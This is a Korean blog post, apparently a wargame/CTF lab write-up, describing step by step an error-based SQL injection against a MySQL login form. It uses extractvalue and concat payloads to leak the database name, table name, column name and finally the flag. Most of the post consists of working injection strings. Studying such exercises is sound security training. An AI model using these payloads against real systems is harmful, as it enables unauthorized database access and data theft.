본문 바로가기

WarGame/SegFault

SQL Injection 3

문제 정보

1. SQL Injection 포인트 찾기

문제에서 주어진 계정으로

항등원 쿼리를 인젝션하여

로그인 시도 시,

로그인에 성공했다.

SQLi 공격이 가능한 환경임을 알 수 있었다.

SQL 문법 에러를 유도해보니

MySQL 에러 메시지를 확인할 수 있었다.

2. 로직 에러를 출력할 수 있는 함수 선택

normaltic' and extractvalue('1', ':test') and '1' = '1

문법 에러말고

로직 에러를 유도하기 위해

extractvalue 함수를 이용하기로 했다.

성공적으로 로직 에러를 출력할 수 있었다.

3. 공격 Format 만들기

normaltic' and extractvalue('1', ':test') and '1' = '1

concat(0x3A, (select 'test'))

normaltic' and extractvalue('1', (concat(0x3A, (select 'test')))) and '1' = '1

normaltic' and extractvalue('1', (concat(0x3A, (____SELECT____)))) and '1' = '1

select 문을 실행할 수 있도록

concat 함수를 사용해 공격 format을 만들었다.

select 구문이 에러 메시지에 성공적으로 출력됐다.

4. DB 이름 확인

select database()

DB 이름을 가져오는 쿼리를 작성한 뒤,

normaltic' and extractvalue('1', (concat(0x3A, (____SELECT____)))) and '1' = '1

select database()

normaltic' and extractvalue('1', (concat(0x3A, (select database())))) and '1' = '1

공격 Format에 대입했다.

공격 쿼리를 입력해보니

DB 이름이 출력되는 것을 볼 수 있었다.

DB 이름 : sqli_2

5. Table 이름 확인

select table_name from information_schema.tables where table_schema = 'sqli_2' limit 0,1

'sql_2' DB의 테이블을 추출하는 쿼리를 작성했다. 

normaltic' and extractvalue('1', (concat(0x3A, (____SELECT____)))) and '1' = '1

select table_name from information_schema.tables where table_schema = 'sqli_2' limit 0,1

normaltic' and extractvalue('1', (concat(0x3A, (select table_name from information_schema.tables 
where table_schema = 'sqli_2' limit 0,1)))) and '1' = '1

작성한 select 구문을 공격 Format에 대입하고

완성된 공격 쿼리를 입력하니

flag가 있을 것으로 유추되는 flag_table 테이블 이름을 얻을 수 있었다.

6. Column 이름 확인

select column_name from information_schema.columns where table_name = 'flag_table' limit 0,1

'flag_table'의 컬럼을 추출하는 쿼리를 작성하고

normaltic' and extractvalue('1', (concat(0x3A, (____SELECT____)))) and '1' = '1

select column_name from information_schema.columns where table_name = 'flag_table' limit 0,1

normaltic' and extractvalue('1', (concat(0x3A, (select column_name from information_schema.columns 
where table_name = 'flag_table' limit 0,1)))) and '1' = '1

공격 Format에 대입했다.

완성된 공격 쿼리를 입력해보니

flag 값이 담겨 있을 것 같은 'flag' 라는 컬럼명을 확인할 수 있었다.

7. Data 추출

select flag from flag_table limit 0,1

추출한 테이블과 컬럼명을 가지고

flag 컬럼의 데이터를 추출하는 쿼리를 작성했다.

normaltic' and extractvalue('1', (concat(0x3A, (____SELECT____)))) and '1' = '1

select flag from flag_table limit 0,1

normaltic' and extractvalue('1', (concat(0x3A, (select flag from flag_table limit 0,1)))) and '1' = '1

공격 Format에 대입한 뒤

완성된 공격 쿼리를 입력해보니

flag 값을 획득할 수 있었다!

'WarGame > SegFault' 카테고리의 다른 글

SQL Injection 5  (0) 2024.05.31
SQL Injection 4  (0) 2024.05.31
SQL Injection (Blind Practice)  (0) 2024.05.31
SQL Injection (Error Based SQLi Basic)  (0) 2024.05.30
SQL Injection 2  (0) 2024.05.23